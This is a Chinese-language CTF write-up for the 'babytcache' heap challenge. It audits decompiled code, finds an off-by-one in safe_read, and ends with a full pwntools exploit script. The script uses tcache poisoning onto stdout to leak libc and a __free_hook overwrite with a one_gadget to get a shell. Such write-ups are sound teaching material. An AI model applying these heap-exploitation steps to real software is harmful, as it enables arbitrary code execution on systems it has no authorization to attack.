cbctf_babytcache

拖了好久才开始写的 WP,都不太记得当时是咋写的了..只能从 EXP 里还原过程。

0x00 文件信息

$ file babytcache
babytcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cd5e714df14106038c28539b6fd65dce5240a6a, stripped

$ checksec babytcache
[*] '/mnt/hgfs/CTF/cbctf/Pwn/BabyTcache/babytcache'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

0x01 代码审计

程序只有增删两个功能,有点麻烦。

增加功能

限制了能够申请的 chunk 大小,chunk 最大可以为 0x407,刚好小于 0x408。大小超过 0x408 的 chunk 被 free 后会直接进入 unsorted bin,所以直接申请大 chunk 使其进入 unsorted bin 的办法不可行。

signed __int64 creat()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+0h] [rbp-10h]
  int v3; // [rsp+4h] [rbp-Ch]
  void *v4; // [rsp+8h] [rbp-8h]

  for ( LODWORD(v1) = 0; ; LODWORD(v1) = v1 + 1 )
  {
    if ( (signed int)v1 > 9 )
    {
      puts("Too many pages!");
      return 0LL;
    }
    if ( !page_ptr[(signed int)v1] )
      break;
  }
  printf("The length of your info:", v1);
  v3 = my_read();                               //  
  if ( v3 <= 0 && v3 > 0x407 )                  // 限制 size 大小
  {
    puts("Too large!");
    exit(-1);
  }
  v4 = malloc(v3);
  if ( !v4 )
    puts("Bad malloc!");
  printf("Data:");
  safe_read(v4, v3);
  page_ptr[v2] = v4;
  chunk_size[v2] = v3;
  puts("Done!");
  return 1LL;
}

creat 函数中调用了 safe_read 函数,但是 safe_read 函数其实并不安全,其中存在 off-by-one 漏洞。

__int64 __fastcall safe_read(void *a1, int a2)
{
  unsigned int v3; // [rsp+1Ch] [rbp-4h]

  v3 = read(0, a1, (unsigned int)(a2 + 1));     // off-by-one
  if ( (signed int)v3 <= 0 )
  {
    puts("Bad read!");
    exit(-1);
  }
  if ( *((_BYTE *)a1 + (signed int)v3 - 1) == '\n' )
    *((_BYTE *)a1 + (signed int)v3 - 1) = 0;
  return v3;
}

删除功能

没什么大问题的 delete 函数。

signed __int64 delete()
{
  signed __int64 result; // rax
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Index:");
  v1 = my_read();                               //  
  if ( v1 <= 9 )
  {
    if ( page_ptr[v1] )
    {
      free(page_ptr[v1]);
      page_ptr[v1] = 0LL;
      chunk_size[v1] = 0;
      puts("Done!");
    }
    result = 1LL;
  }
  else
  {
    puts("Bad Index!");
    result = 0LL;
  }
  return result;
}

漏洞分析

程序提供的功能很少,并且没有 dump 功能。但泄露 libc 地址是必要的,因此需要设法进行泄露。可以利用 IO_FILE 结构体去泄漏地址。

safe_read 函数中存在 off-by-one 漏洞,可以进行 unlink。再通过构造 unsorted bin 与 tcache bin 重叠,即可通过 tcache poisoning 申请到 _IO_2_1_stdout_ 所在 chunk。(但是这里因为程序开启了 PIE 保护,所以成功申请的概率只有 1/16)

申请到目标 chunk 后,通过覆写 _IO_write_base 可以在下一次程序进行打印时泄露 libc 中的地址。(_IO_2_1_stdout_ 中的 flags 需要特别设置为 0xfbad1800,具体原因可查看 glibc 源码)

最后劫持 free_hook,向其中写入 onegadget 后调用 free 函数即可 get shell。

0x02 EXP

from pwn import *
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

if args.G:
    io = remote('121.41.13.20', 32772)
else:
    io = process('./babytcache')

def creat(size, content):
    io.sendlineafter('Please input your choice:', '1')
    io.sendlineafter('The length of your info:', str(size))
    io.sendafter('Data:', content)

def delete(index):
    io.sendlineafter('Please input your choice:', '2')
    io.sendlineafter('Index:', str(index))

## unlink
creat(0x90, 'qqq') # 0
creat(0x58, 'qqq') # 1
for i in range(8):
    creat(0x90, 'qqq') # 2->9
for i in range(3, 10):
    delete(i) # 3->9
delete(0)
delete(1)
creat(0x58, 'a' * 0x50 + p64(0x100) + '\xa0') # 0
delete(0)
delete(2)

creat(0x48, 'aaa') # 0
creat(0x48, 'bbb') # 1

creat(0x68, '\x60\x37') # 2


# gdb.attach(io)
creat(0x58, 'qqq') # 3
creat(0x58, p64(0xfbad1800) + p64(0) * 3 + '\x08') # 4

# creat(0x100, 'lll')
IO_stdfile_2_lock = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('_IO_stdfile_2_lock: ' + hex(IO_stdfile_2_lock))
libc_base = IO_stdfile_2_lock - 0x3ed8b0
info('libc_base: ' + hex(libc_base))
onegadget = libc_base + 0x4f3c2
info('onegadget: ' + hex(onegadget))
free_hook = libc_base + libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))

creat(0x38, 'l' * 0x38 + '\xf1')
creat(0x40, 'vvv')
creat(0x60, p64(free_hook))

for i in range(4):
    delete(i)
delete(5)
delete(6)

for i in range(7):
    creat(0x90, 'ttt')

creat(0x90, p64(onegadget))

delete(7)

# gdb.attach(io)

io.interactive()

0x03 参考资料

2019-2020 @lukbash